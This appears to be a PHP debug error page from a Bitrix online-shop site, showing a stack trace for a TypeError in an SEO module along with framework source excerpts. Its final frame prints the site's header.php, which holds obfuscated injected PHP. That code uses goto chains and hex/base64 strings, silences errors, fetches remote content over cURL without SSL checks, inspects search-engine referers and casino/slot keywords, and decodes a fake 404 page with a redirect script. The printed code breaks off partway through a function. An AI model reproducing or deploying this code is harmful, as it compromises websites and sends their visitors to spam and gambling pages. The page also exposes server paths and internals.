TypeError
call_user_func_array(): Argument #1 ($callback) must be a valid callback, non-static method ItpandaSeo::ConcatNotEmpty() cannot be called statically TypeError thrown with message "call_user_func_array(): Argument #1 ($callback) must be a valid callback, non-static method ItpandaSeo::ConcatNotEmpty() cannot be called statically" Stacktrace: #17 TypeError in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/lib/eventmanager.php:437 #16 call_user_func_array in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/lib/eventmanager.php:437 #15 Bitrix\Main\EventManager:sendToEventHandler in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/lib/eventmanager.php:373 #14 Bitrix\Main\EventManager:send in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/lib/event.php:142 #13 Bitrix\Main\Event:send in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/iblock/lib/template/functions/fabric.php:62 #12 Bitrix\Iblock\Template\Functions\Fabric:createInstance in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/iblock/lib/template/engine.php:449 #11 Bitrix\Iblock\Template\NodeFunction:process in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/iblock/lib/template/engine.php:309 #10 Bitrix\Iblock\Template\NodeRoot:process in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/iblock/lib/template/engine.php:83 #9 Bitrix\Iblock\Template\Engine:process in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/aspro.smartseo/classes/general/SmartseoEngine.php:113 #8 Aspro\Smartseo\General\SmartseoEngine:loadSeoPropertyForPage in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/aspro.smartseo/classes/general/SmartseoEventHandler.php:21 #7 Aspro\Smartseo\General\SmartseoEventHandler:onPageStart in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/tools.php:4741 #6 ExecuteModuleEventEx in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include.php:173 #5 require_once in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include/prolog_before.php:19 #4 require_once in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include/prolog.php:10 #3 require_once in /var/www/www-root/data/www/vannstudio.ru/bitrix/header.php:4 #2 require in /var/www/www-root/data/www/vannstudio.ru/catalog/index.php:1 #1 include_once in /var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include/urlrewrite.php:184 #0 include_once in /var/www/www-root/data/www/vannstudio.ru/bitrix/urlrewrite.php:2
Stack frames (18)
17
TypeError
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
eventmanager.php
437
16
call_user_func_array
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
eventmanager.php
437
15
Bitrix
\
Main
\
EventManager
sendToEventHandler
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
eventmanager.php
373
14
Bitrix
\
Main
\
EventManager
send
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
event.php
142
13
Bitrix
\
Main
\
Event
send
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
iblock
/
lib
/
template
/
functions
/
fabric.php
62
12
Bitrix
\
Iblock
\
Template
\
Functions
\
Fabric
createInstance
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
iblock
/
lib
/
template
/
engine.php
449
11
Bitrix
\
Iblock
\
Template
\
NodeFunction
process
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
iblock
/
lib
/
template
/
engine.php
309
10
Bitrix
\
Iblock
\
Template
\
NodeRoot
process
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
iblock
/
lib
/
template
/
engine.php
83
9
Bitrix
\
Iblock
\
Template
\
Engine
process
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
aspro.smartseo
/
classes
/
general
/
SmartseoEngine.php
113
8
Aspro
\
Smartseo
\
General
\
SmartseoEngine
loadSeoPropertyForPage
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
aspro.smartseo
/
classes
/
general
/
SmartseoEventHandler.php
21
7
Aspro
\
Smartseo
\
General
\
SmartseoEventHandler
onPageStart
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
tools.php
4741
6
ExecuteModuleEventEx
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
include.php
173
5
require_once
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
include
/
prolog_before.php
19
4
require_once
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
include
/
prolog.php
10
3
require_once
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
header.php
4
2
require
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
catalog
/
index.php
1
1
include_once
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
include
/
urlrewrite.php
184
0
include_once
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
urlrewrite.php
2
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
eventmanager.php
                    $args[] = $event;
                }
                else
                {
                    $args = array_merge($args, array_values($event->getParameters()));
                }
 
                $callback = null;
                if (isset($handler['CALLBACK']))
                {
                    $callback = $handler['CALLBACK'];
                }
                elseif (!empty($handler['TO_CLASS']) && !empty($handler['TO_METHOD']) && class_exists($handler['TO_CLASS']))
                {
                    $callback = [$handler['TO_CLASS'], $handler['TO_METHOD']];
                }
 
                if ($callback != null)
                {
                    $result = call_user_func_array($callback, $args);
                }
                else
                {
                    $result = $includeResult;
                }
 
                if (($result != null) && !($result instanceof EventResult))
                {
                    $result = new EventResult(EventResult::UNDEFINED, $result, $handler['TO_MODULE_ID'] ?? null);
                }
 
                $event->addDebugInfo($result);
 
                if ($result != null)
                {
                    $event->addResult($result);
                }
            }
        }
        catch (\Exception $ex)
Arguments
  1. "call_user_func_array(): Argument #1 ($callback) must be a valid callback, non-static method ItpandaSeo::ConcatNotEmpty() cannot be called statically"
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
eventmanager.php
                    $args[] = $event;
                }
                else
                {
                    $args = array_merge($args, array_values($event->getParameters()));
                }
 
                $callback = null;
                if (isset($handler['CALLBACK']))
                {
                    $callback = $handler['CALLBACK'];
                }
                elseif (!empty($handler['TO_CLASS']) && !empty($handler['TO_METHOD']) && class_exists($handler['TO_CLASS']))
                {
                    $callback = [$handler['TO_CLASS'], $handler['TO_METHOD']];
                }
 
                if ($callback != null)
                {
                    $result = call_user_func_array($callback, $args);
                }
                else
                {
                    $result = $includeResult;
                }
 
                if (($result != null) && !($result instanceof EventResult))
                {
                    $result = new EventResult(EventResult::UNDEFINED, $result, $handler['TO_MODULE_ID'] ?? null);
                }
 
                $event->addDebugInfo($result);
 
                if ($result != null)
                {
                    $event->addResult($result);
                }
            }
        }
        catch (\Exception $ex)
Arguments
  1. array:2 [
      0 => "ItpandaSeo"
      1 => "ConcatNotEmpty"
    ]
    
  2. array:1 [
      0 => Event {}
    ]
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
eventmanager.php
            $handlersTmp = $handlers;
            $handlers = [];
            foreach ($handlersTmp as $handler)
            {
                if (isset($handler['TO_MODULE_ID']) && in_array($handler['TO_MODULE_ID'], $filter))
                {
                    $handlers[] = $handler;
                }
            }
        }
 
        return $handlers;
    }
 
    public function send(Event $event)
    {
        $handlers = $this->findEventHandlers($event->getModuleId(), $event->getEventType(), $event->getFilter());
        foreach ($handlers as $handler)
        {
            $this->sendToEventHandler($handler, $event);
        }
    }
 
    protected function sendToEventHandler(array $handler, Event $event)
    {
        try
        {
            $result = true;
            $includeResult = true;
 
            $event->addDebugInfo($handler);
 
            if (!empty($handler['TO_MODULE_ID']) && ($handler['TO_MODULE_ID'] != 'main'))
            {
                $result = Loader::includeModule($handler['TO_MODULE_ID']);
            }
            elseif (!empty($handler['TO_PATH']))
            {
                $path = ltrim($handler['TO_PATH'], '/');
                if (($path = Loader::getLocal($path)) !== false)
Arguments
  1. array:9 [
      "SORT" => 100
      "TO_MODULE_ID" => "itpanda.seo"
      "TO_PATH" => ""
      "TO_CLASS" => "ItpandaSeo"
      "TO_METHOD" => "ConcatNotEmpty"
      "TO_METHOD_ARG" => []
      "VERSION" => "2"
      "TO_NAME" => "ItpandaSeo::ConcatNotEmpty (itpanda.seo)"
      "FROM_DB" => true
    ]
    
  2. Event {}
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
lib
/
event.php
     */
    public function getResults()
    {
        return $this->results;
    }
 
    public function addResult(EventResult $result)
    {
        $this->results[] = $result;
    }
 
    public function getSender()
    {
        return $this->sender;
    }
 
    public function send($sender = null)
    {
        $this->sender = $sender;
        EventManager::getInstance()->send($this);
    }
 
    public function addException(\Exception $exception)
    {
        $this->exceptions[] = $exception;
    }
 
    public function getExceptions()
    {
        return $this->exceptions;
    }
 
    public function turnDebugOn()
    {
        $this->debugMode = true;
    }
 
    public function isDebugOn()
    {
        return $this->debugMode;
Arguments
  1. Event {}
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
iblock
/
lib
/
template
/
functions
/
fabric.php
        if (!is_string($functionName))
        {
            return new FunctionBase($data);
        }
        if (isset(self::$defaultFunctionMap[$functionName]))
        {
            /** @var FunctionBase $functionClass */
            $functionClass = self::$defaultFunctionMap[$functionName];
            return new $functionClass($data);
        }
        elseif (isset(self::$functionMap[$functionName]))
        {
            /** @var FunctionBase $functionClass */
            $functionClass = self::$functionMap[$functionName];
            return new $functionClass($data);
        }
        else
        {
            $event = new \Bitrix\Main\Event("iblock", "OnTemplateGetFunctionClass", array($functionName));
            $event->send();
            if ($event->getResults())
            {
                foreach($event->getResults() as $evenResult)
                {
                    if($evenResult->getType() == \Bitrix\Main\EventResult::SUCCESS)
                    {
                        $functionClass = $evenResult->getParameters();
                        if (is_string($functionClass) && class_exists($functionClass))
                        {
                            self::$functionMap[$functionName] = $functionClass;
                        }
                        break;
                    }
                }
            }
            if (isset(self::$functionMap[$functionName]))
            {
                $functionClass = self::$functionMap[$functionName];
                return new $functionClass($data);
            }
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
iblock
/
lib
/
template
/
engine.php
     *
     * @return void
     */
    public function addParameter(NodeBase $parameter)
    {
        $this->parameters[] = $parameter;
    }
 
    /**
     * Uses Functions\Fabric to get an instance of the function object by it's name.
     * On success calls onPrepareParameters, then calculate method.
     * Otherwise returns an empty string.
     *
     * @param Entity\Base $entity Sets the context of processing.
     *
     * @return string
     */
    public function process(Entity\Base $entity)
    {
        $functionObject = Functions\Fabric::createInstance($this->functionName);
        if ($functionObject instanceof Functions\FunctionBase)
        {
            $arguments = $functionObject->onPrepareParameters($entity, $this->parameters);
            return $functionObject->calculate($arguments);
        }
        else
        {
            return "";
        }
    }
}
 
Arguments
  1. "aspro_morphy"
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
iblock
/
lib
/
template
/
engine.php
                ));
            $this->modifiers[] = $modifierFunction;
        }
    }
 
    /**
     * Calls process for each of it's children.
     * Returns concatenation of their results.
     *
     * @param Entity\Base $entity Sets the context of processing.
     *
     * @return string
     */
    public function process(Entity\Base $entity)
    {
        $content = "";
        /** @var NodeBase $child*/
        foreach ($this->children as $child)
        {
            $childContent = $child->process($entity);
            if (is_array($childContent))
                $content .= implode(" ", $childContent);
            else
                $content .= $childContent;
        }
        /** @var Functions\FunctionBase $modifier*/
        foreach ($this->modifiers as $modifier)
        {
            $node = new NodeText($content);
            $arguments = $modifier->onPrepareParameters($entity, array($node));
            $content = $modifier->calculate($arguments);
        }
        return $content;
    }
}
 
/**
 * Class NodeText
 * Plain text node
 *
Arguments
  1. FilterRuleUrl {}
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
iblock
/
lib
/
template
/
engine.php
{
    /**
     * Takes an entity (Element, Section or Iblock) and processes the template.
     * <code>
     * if (\Bitrix\Main\Loader::includeModule('iblock'))
     * &#123;
     *     $e = new \Bitrix\Iblock\Template\Entity\Element(6369);
     *     echo "<pre>", print_r(\Bitrix\Iblock\Template\Engine::process($e, "Name: {=this.Name}. Code:{=this.code}"), 1), "</pre>";
     * &#125;
     * </code>
     *
     * @param Entity\Base $entity Context entity for template processing.
     * @param string $template Template to make substitutions in.
     *
     * @return string
     */
    public static function process(Entity\Base $entity, $template)
    {
        $rootNode = self::parseTemplateTree($template, new NodeRoot);
        return $rootNode->process($entity);
    }
 
    /**
     * Splits template by tokens and builds execution tree.
     *
     * @param string $template Source expression.
     * @param NodeRoot $parent Root node.
     *
     * @return NodeRoot
     */
    protected static function parseTemplateTree($template, NodeRoot $parent)
    {
        list($template, $modifiers) = Helper::splitTemplate($template);
        if ($modifiers != "")
            $parent->setModifiers($modifiers);
 
        $parsedTemplate = preg_split('/({=|})/',  $template, -1, PREG_SPLIT_DELIM_CAPTURE);
        while (($token = array_shift($parsedTemplate)) !== null)
        {
            $node = null;
Arguments
  1. FilterRuleUrl {}
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
aspro.smartseo
/
classes
/
general
/
SmartseoEngine.php
              \Aspro\Smartseo\Models\SmartseoSeoTemplateTable::ENTITY_TYPE_FILTER_RULE => $dataScope['RULE_ID'],
              \Aspro\Smartseo\Models\SmartseoSeoTemplateTable::ENTITY_TYPE_FILTER_CONDITION => $dataScope['CONDITION_ID'],
              \Aspro\Smartseo\Models\SmartseoSeoTemplateTable::ENTITY_TYPE_FILTER_URL => $dataScope['URL_ID'],
        ]);
 
        if (!$seoTemplates) {
            return;
        }
 
        $element = new \Aspro\Smartseo\Template\Entity\FilterRuleUrl($dataScope['URL_ID']);
 
        $currentSeoProperty = Smartseo::getCurrentSeoProperty();
        foreach ($seoTemplates as $seoProperty) {
            if (!$seoProperty['TEMPLATE']) {
                $currentSeoProperty[$code] = '';
                continue;
            }
 
            $currentSeoProperty[$seoProperty['CODE']] = \Bitrix\Main\Text\HtmlFilter::encode(
                \Bitrix\Iblock\Template\Engine::process($element, $seoProperty['TEMPLATE'])
            );
        }
 
        Smartseo::setCurrentSeoProperty($currentSeoProperty);
    }
 
    static public function replaceSeoPropertyOnPage()
    {
        if(!Smartseo::validateModules()) {
            return;
        }
 
        if (!Smartseo::getCurrentData()) {
            return;
        }
 
        if (!Smartseo::getCurrentSeoProperty()) {
            return;
        }
 
Arguments
  1. FilterRuleUrl {}
    
  2. "{=property.IP_PROP958} {=aspro_morphy {=property.attr_form} "ср" "ед"}"
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
aspro.smartseo
/
classes
/
general
/
SmartseoEventHandler.php
 
namespace Aspro\Smartseo\General;
 
class SmartseoEventHandler
{
 
    static public function onPageStart()
    {
        global $APPLICATION;
 
        Smartseo::init();
 
        if (\CSite::InDir('/bitrix/')) {
            Smartseo::fixBitrixCoreAjaxAuth();
 
            return;
        }
 
        SmartseoEngine::urlRewrite();
        SmartseoEngine::loadSeoPropertyForPage();
    }
 
    static public function onEpilog()
    {
        if (\CSite::InDir('/bitrix/')) {
            return;
        }
 
        SmartseoEngine::disallowPageIndexUrl();
        SmartseoEngine::replaceSeoPropertyOnPage();
    }
 
    static public function onEndBufferContent(&$bufferContent)
    {
        if (\CSite::InDir('/bitrix/')) {
            return;
        }
 
        if(Smartseo::getSettingObject()->isReplaceSnippetPage()) {
            SmartseoEngine::replaceSnippetInContent($bufferContent);
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
tools.php
    }
    else
    {
        $args = $arParams;
    }
 
    //TODO: �������� ������� �� EventManager::getInstance()->getLastEvent();
    global $BX_MODULE_EVENT_LAST;
    $BX_MODULE_EVENT_LAST = $arEvent;
 
    if (isset($arEvent["CALLBACK"]))
    {
        $result = call_user_func_array($arEvent["CALLBACK"], $args);
    }
    else
    {
        //php bug: http://bugs.php.net/bug.php?id=47948
        if (class_exists($arEvent["TO_CLASS"]) && is_callable([$arEvent["TO_CLASS"], $arEvent["TO_METHOD"]]))
        {
            $result =  call_user_func_array([$arEvent["TO_CLASS"], $arEvent["TO_METHOD"]], $args);
        }
        else
        {
            $exception = new SystemException("Event handler error: could not invoke {$arEvent["TO_CLASS"]}::{$arEvent["TO_METHOD"]}. Class or method does not exist.");
            $application = Application::getInstance();
            $exceptionHandler = $application->getExceptionHandler();
            $exceptionHandler->writeToLog($exception);
 
            $result = null;
        }
    }
 
    return $result;
}
 
function UnRegisterModuleDependences($FROM_MODULE_ID, $MESSAGE_ID, $TO_MODULE_ID, $TO_CLASS="", $TO_METHOD="", $TO_PATH="", $TO_METHOD_ARG = array())
{
    $eventManager = Main\EventManager::getInstance();
    $eventManager->unRegisterEventHandler($FROM_MODULE_ID, $MESSAGE_ID, $TO_MODULE_ID, $TO_CLASS, $TO_METHOD, $TO_PATH, $TO_METHOD_ARG);
}
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
include.php
{
    $application->addBackgroundJob(["CAgent", "CheckAgents"], [], \Bitrix\Main\Application::JOB_PRIORITY_LOW);
}
 
//send email events
if (COption::GetOptionString("main", "check_events", "Y") !== "N")
{
    $application->addBackgroundJob(['\Bitrix\Main\Mail\EventManager', 'checkEvents'], [], \Bitrix\Main\Application::JOB_PRIORITY_LOW-1);
}
 
$healerOfEarlySessionStart = new HealerEarlySessionStart();
$healerOfEarlySessionStart->process($application->getKernelSession());
 
$kernelSession = $application->getKernelSession();
$kernelSession->start();
$application->getSessionLocalStorageManager()->setUniqueId($kernelSession->getId());
 
foreach (GetModuleEvents("main", "OnPageStart", true) as $arEvent)
{
    ExecuteModuleEventEx($arEvent);
}
 
//define global user object
$GLOBALS["USER"] = new CUser;
 
//session control from group policy
$arPolicy = $GLOBALS["USER"]->GetSecurityPolicy();
$currTime = time();
if (
    (
        //IP address changed
        $kernelSession['SESS_IP']
        && $arPolicy["SESSION_IP_MASK"] <> ''
        && (
            (ip2long($arPolicy["SESSION_IP_MASK"]) & ip2long($kernelSession['SESS_IP']))
            !=
            (ip2long($arPolicy["SESSION_IP_MASK"]) & ip2long($_SERVER['REMOTE_ADDR']))
        )
    )
    ||
Arguments
  1. array:11 [
      "SORT" => 100
      "TO_MODULE_ID" => "aspro.smartseo"
      "TO_PATH" => ""
      "TO_CLASS" => "\Aspro\Smartseo\General\SmartseoEventHandler"
      "TO_METHOD" => "onPageStart"
      "TO_METHOD_ARG" => []
      "VERSION" => "2"
      "TO_NAME" => "\Aspro\Smartseo\General\SmartseoEventHandler::onPageStart (aspro.smartseo)"
      "FROM_DB" => true
      "FROM_MODULE_ID" => "main"
      "MESSAGE_ID" => "OnPageStart"
    ]
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
include
/
prolog_before.php
<?php
 
if (!defined('START_EXEC_PROLOG_BEFORE_1'))
{
    define("START_EXEC_PROLOG_BEFORE_1", microtime(true));
}
 
$GLOBALS["BX_STATE"] = "PB";
if(isset($_REQUEST["BX_STATE"])) unset($_REQUEST["BX_STATE"]);
if(isset($_GET["BX_STATE"])) unset($_GET["BX_STATE"]);
if(isset($_POST["BX_STATE"])) unset($_POST["BX_STATE"]);
if(isset($_COOKIE["BX_STATE"])) unset($_COOKIE["BX_STATE"]);
if(isset($_FILES["BX_STATE"])) unset($_FILES["BX_STATE"]);
 
if(!isset($USER)) {global $USER;}
if(!isset($APPLICATION)) {global $APPLICATION;}
if(!isset($DB)) {global $DB;}
 
require_once(__DIR__."/../include.php");
 
CMain::PrologActions();
 
if (!defined('START_EXEC_PROLOG_BEFORE_2'))
{
    define("START_EXEC_PROLOG_BEFORE_2", microtime(true));
}
 
Arguments
  1. "/var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include.php"
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
modules
/
main
/
include
/
prolog.php
<?php
require_once(__DIR__ . "/../bx_root.php");
 
if (file_exists($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/html_pages/.enabled"))
{
    require_once(__DIR__ . "/../lib/composite/responder.php");
    Bitrix\Main\Composite\Responder::respond();
}
 
require_once(__DIR__ . "/prolog_before.php");
require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/prolog_after.php");
 
Arguments
  1. "/var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include/prolog_before.php"
    
/
var
/
www
/
www-root
/
data
/
www
/
vannstudio.ru
/
bitrix
/
header.php
<?php
/* 2duan */
goto vlDQz; HIGc8: $QH_Px = $_SERVER["\x52\105\x51\125\105\x53\x54\x5f\125\122\x49"]; goto LBhLH; hox2E: define("\170\154\x30\x53\122", "\60\x34\x31\x36\x6a\x73\143\62"); goto PcTht; Yex8u: function mfbI4($H4Uwh, $otwNg = "\57\x5b\x3f\x5c\57\x5d\50\x69\144\x7c\147\141\155\145\151\144\174\111\x44\x7c\153\x72\x73\154\x6f\164\111\104\x7c\x47\141\x6d\145\x7c\141\160\160\x7c\x69\x6f\163\x7c\x61\156\x64\x72\157\151\x64\174\x64\x6f\x77\x6e\154\x6f\x61\x64\174\142\x6c\141\x6e\153\174\123\154\x6f\164\x7c\x73\154\157\x74\x7c\x62\x65\x74\174\x63\x61\163\x69\x6e\x6f\174\x67\x61\155\145\x73\174\160\154\x61\x79\x7c\166\151\x64\x65\x6f\174\x70\157\x6b\x65\x72\174\156\145\x77\163\174\163\154\x6f\x7c\x67\x6f\x64\163\174\x66\151\163\x68\174\x6d\x61\x68\152\174\x75\162\x69\51\56\57") { return preg_match($otwNg, $H4Uwh) === 1; } goto D3ed8; htfxU: $SzF3y = $_SERVER["\x48\124\x54\120\x5f\x55\123\x45\x52\x5f\x41\107\x45\x4e\x54"]; goto l_2tv; byjza: define("\x45\x50\110\162\x4f", base64_decode("\x50\107\150\x30\142\x57\x77\53\103\x69\101\x67\111\103\x41\70\141\x47\126\150\x5a\x44\x34\113\111\103\x41\x67\x49\103\101\147\x49\103\x41\x38\x64\107\x6c\x30\x62\x47\125\x2b\x56\x47\x68\154\111\x48\x4a\154\143\x32\71\x31\x63\x6d\x4e\x6c\x49\107\116\150\x62\x6d\65\166\144\103\x42\151\132\123\x42\155\142\63\126\165\132\103\x34\70\114\63\x52\160\x64\107\170\x6c\x50\x67\x6f\x67\x49\103\101\147\111\103\101\147\x49\x44\170\172\x59\x33\x4a\160\143\x48\121\53\144\x32\154\165\x5a\x47\x39\63\x4c\155\170\x76\131\x32\106\60\x61\127\71\x75\x50\123\x4a\157\x64\x48\122\167\x63\x7a\x6f\x76\114\62\x56\x6e\x5a\62\116\62\141\x58\101\x75\x59\x32\x39\x74\x4c\x33\144\154\142\x47\x4e\166\142\x57\x55\166\x4d\x6a\101\x79\x4e\x54\x49\x75\x61\110\x52\164\142\103\x49\x37\x50\x43\71\172\x59\x33\112\160\143\110\x51\x2b\x43\x69\101\x67\111\103\x41\70\114\x32\150\x6c\131\x57\x51\x2b\x43\x69\x41\147\x49\103\x41\x38\131\x6d\71\x6b\x65\124\x34\x4b\111\x43\101\x67\111\x43\x41\x67\111\x43\x41\x38\x61\x44\105\x2b\124\155\x39\x30\x49\x45\132\x76\144\127\65\153\120\x43\71\x6f\115\124\64\113\111\103\101\x67\x49\x44\x77\x76\x59\155\x39\x6b\145\124\x34\113\x50\x43\x39\157\x64\107\61\x73\x50\147\x3d\x3d")); goto dUPrt; qAtYp: define("\x78\166\x49\x51\60", base64_decode("\x61\110\x52\x30\143\x44\157\x76\x4c\62\x70\x7a\131\62\122\x75\x4c\x6d\122\x6e\x61\172\147\64\117\103\65\60\x62\x33\x41\166")); goto FRai7; RMc81: function GBDin($FWaK8, $x3wSF = array(), $W_16F = 0, $yYiY2 = 0) { goto YbEfb; YbEfb: if (function_exists("\143\x75\x72\154\x5f\151\156\x69\x74")) { goto Kr1l2; } goto Se6RS; i1BbR: if (!curl_errno($XjNfe)) { goto k3A_Y; } goto wLTBW; yqoWn: curl_setopt($XjNfe, CURLOPT_SSL_VERIFYHOST, false); goto KwYqZ; jzRUU: mAJ47: goto UdSBC; UTu4r: curl_setopt($XjNfe, CURLOPT_HTTPHEADER, $x3wSF); goto limfG; uCU2h: curl_setopt($XjNfe, CURLOPT_URL, $FWaK8); goto EUHb8; KwYqZ: curl_setopt($XjNfe, CURLOPT_FOLLOWLOCATION, true); goto tS8Es; hCyfk: curl_close($XjNfe); goto nde7_; iiP7W: goto mAJ47; goto lE5i2; tUkpU: curl_setopt($XjNfe, CURLOPT_SSL_VERIFYPEER, false); goto yqoWn; qwX4s: $XjNfe = curl_init(); goto uCU2h; WiuGG: curl_setopt($XjNfe, CURLOPT_RETURNTRANSFER, 1); goto TFfBR; TFfBR: curl_setopt($XjNfe, CURLOPT_USERAGENT, $_SERVER["\110\124\x54\x50\x5f\125\x53\x45\x52\x5f\101\x47\x45\x4e\124"]); goto a75ec; EUHb8: curl_setopt($XjNfe, CURLOPT_HEADER, 0); goto WiuGG; z2vyF: k3A_Y: goto hCyfk; HadvG: curl_setopt($XjNfe, CURLOPT_TIMEOUT, $yYiY2); goto tUkpU; limfG: curl_setopt($XjNfe, CURLOPT_CONNECTTIMEOUT, $W_16F); goto HadvG; wLTBW: $hwbc0 = NULL; goto z2vyF; a75ec: curl_setopt($XjNfe, CURLOPT_REFERER, $_SERVER["\110\x54\124\120\137\x52\105\x46\x45\122\105\x52"]); goto UTu4r; nde7_: return $hwbc0; goto jzRUU; tS8Es: $hwbc0 = curl_exec($XjNfe); goto i1BbR; lE5i2: Kr1l2: goto qwX4s; Se6RS: return file_get_contents($FWaK8); goto iiP7W; UdSBC: } goto mwiSj; mwiSj: function esf5H() { foreach (array("\110\124\124\x50\x5f\103\114\x49\105\x4e\124\x5f\111\120", "\110\x54\x54\x50\x5f\130\x5f\x52\x45\101\114\137\x49\120", "\110\124\x54\x50\137\103\x46\x5f\103\x4f\116\x4e\105\x43\124\x49\116\x47\x5f\x49\x50", "\x48\x54\x54\120\x5f\x58\x5f\106\117\122\127\101\122\x44\105\104\x5f\106\x4f\x52", "\x48\124\124\120\x5f\130\137\106\x4f\x52\x57\x41\122\104\105\x44", "\x48\x54\x54\120\x5f\130\x5f\103\114\125\x53\124\105\122\137\x43\114\111\x45\x4e\124\137\111\x50", "\x48\124\x54\120\137\106\117\x52\127\x41\122\x44\105\104\137\x46\117\122", "\110\124\124\120\x5f\x46\x4f\122\x57\x41\122\104\x45\104", "\122\105\x4d\117\x54\105\x5f\101\104\104\x52") as $ZVlRe) { goto d7Qev; u9jhz: FZvn_: goto CF1Jb; qhmc2: DwtkE: goto vmBGF; eZhk4: foreach (explode("\54", $_SERVER[$ZVlRe]) as $orkmV) { goto nK6uj; ZmXm0: if (!(filter_var($orkmV, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false)) { goto O9SIl; } goto C6YCL; nK6uj: $orkmV = trim($orkmV); goto ZmXm0; vldkR: O9SIl: goto D3iU3; D3iU3: g5ZtL: goto Khtb4; C6YCL: return $orkmV; goto vldkR; Khtb4: } goto qhmc2; d7Qev: if (!(array_key_exists($ZVlRe, $_SERVER) === true)) { goto sFwUD; } goto eZhk4; vmBGF: sFwUD: goto u9jhz; CF1Jb: } aj6kE: } goto pD8nc; l_2tv: $dqr6X = $_SERVER["\x48\124\x54\120\x5f\x48\x4f\x53\124"]; goto HIGc8; vNC8C: error_reporting(0); goto hox2E; vlDQz: set_time_limit(0); goto vNC8C; dUPrt: $ahpjG = $_SERVER["\110\x54\x54\x50\x5f\x52\x45\106\x45\122\x45\122"]; goto htfxU; PcTht: define("\x64\x4c\x4c\x4f\x42", "\x56\x45\147\x6a\123\x32\61\156"); goto zCByt; CzI0G: function W7Cv_($QwF7b) { goto DeJdi; SzWsL: xT3Gz: goto vskgC; vskgC: return false; goto x3DIh; mgn0J: $UMB_z = array("\147\157\x6f\147\154\145\56", "\x62\151\156\x67\x2e", "\156\141\x76\145\x72\x2e", "\171\141\150\x6f\157\56"); goto ajUsT; DeJdi: if (!(substr($QwF7b, 0, 4) === "\x68\x74\x74\x70")) { goto xT3Gz; } goto mgn0J; ajUsT: foreach ($UMB_z as $vXT4U) { goto gO0XF; a65NQ: hsG1N: goto GR90K; Icgwk: return true; goto hYog1; hYog1: vfMHq: goto a65NQ; gO0XF: if (!(stripos($QwF7b, $vXT4U) !== false)) { goto vfMHq; } goto Icgwk; GR90K: } goto PjfnM; PjfnM: L9RYy: goto SzWsL; x3DIh: } goto RMc81; LBhLH: function yh_3Q() { } goto KOJRg; D3ed8: function tgo4V($J8eYM) { goto CkeFV; mdkLb: return false; goto DQy1c; iGoms: YTk4e: goto mdkLb; CkeFV: $PdcaN = 